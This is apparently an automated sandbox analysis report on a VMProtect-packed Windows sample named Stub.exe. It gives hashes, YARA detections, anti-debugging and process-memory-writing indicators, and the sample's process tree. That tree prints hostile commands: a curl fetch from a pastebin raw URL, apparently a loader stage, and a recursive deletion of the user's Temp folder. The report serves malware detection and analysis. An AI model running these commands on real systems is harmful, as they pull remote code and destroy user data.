2d6c58c043a319b7d9de60a16184a3cfdf1465b79771d27223acb2cac197851f

Analysis

max time kernel
71s
max time network
73s
platform
windows10-1703_x64
resource
win10-20231215-en
resource tags

arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
submitted
24/12/2023, 03:17

Target
Stub.exe
Size 13.8MB
Sample231224-ds2c9secfm
SHA256 2d6c58c043a319b7d9de60a16184a3cfdf1465b79771d27223acb2cac197851f
MD5 894a60693fee38d4b64056cb10536a75
SHA1 c427e45b0f7eb66583d2fb410ddb0c0e6196c0d6
SHA512 8fdc9499bcd2fd8c1c0732db547e1560be3e889ba0a243b95ae03c0d5ed6e3229fcc35fcce736bcab9aff11692e4d3045471d227393a55379264b8f7a8bf87a5
SSDEEP 393216:069fCksYPBDTr2L8zhgy8mTZ1fy68+dl+up4:0kuaBDTDd1uEl1
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

vmprotect

VMProtect packed file 3 IoCs

Detects executables packed with VMProtect commercial packer.

resource	yara_rule
behavioral1/memory/3312-1-0x00007FF7CF4D0000-0x00007FF7D0EB2000-memory.dmp	vmprotect
behavioral1/memory/3312-3-0x00007FF7CF4D0000-0x00007FF7D0EB2000-memory.dmp	vmprotect
behavioral1/memory/3312-5-0x00007FF7CF4D0000-0x00007FF7D0EB2000-memory.dmp	vmprotect

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
3312	Stub.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3312	Stub.exe
3312	Stub.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3312 wrote to memory of 1912	3312	Stub.exe	75
PID 3312 wrote to memory of 1912	3312	Stub.exe	75
PID 3312 wrote to memory of 4700	3312	Stub.exe	79
PID 3312 wrote to memory of 4700	3312	Stub.exe	79
PID 3312 wrote to memory of 1728	3312	Stub.exe	78
PID 3312 wrote to memory of 1728	3312	Stub.exe	78
PID 3312 wrote to memory of 3896	3312	Stub.exe	76
PID 3312 wrote to memory of 3896	3312	Stub.exe	76
PID 3312 wrote to memory of 2044	3312	Stub.exe	77
PID 3312 wrote to memory of 2044	3312	Stub.exe	77

C:\Users\Admin\AppData\Local\Temp\Stub.exe
"C:\Users\Admin\AppData\Local\Temp\Stub.exe"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3312
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c title if this title changes the loader has successfully streamed!
  2⤵
  PID:1912
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl -L --output -
  2⤵
  PID:3896
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:2044
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl -L https://pastebin.com/raw/kR7pQtnA
  2⤵
  PID:1728
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rmdir /S /Q %USERPROFILE%\AppData\Local\Temp
  2⤵
  PID:4700

memory/3312-0-0x00007FF893580000-0x00007FF893582000-memory.dmp

Download

memory/3312-1-0x00007FF7CF4D0000-0x00007FF7D0EB2000-memory.dmp

Download

memory/3312-2-0x00007FF893590000-0x00007FF893592000-memory.dmp

Download

memory/3312-3-0x00007FF7CF4D0000-0x00007FF7D0EB2000-memory.dmp

Download

memory/3312-5-0x00007FF7CF4D0000-0x00007FF7D0EB2000-memory.dmp

Download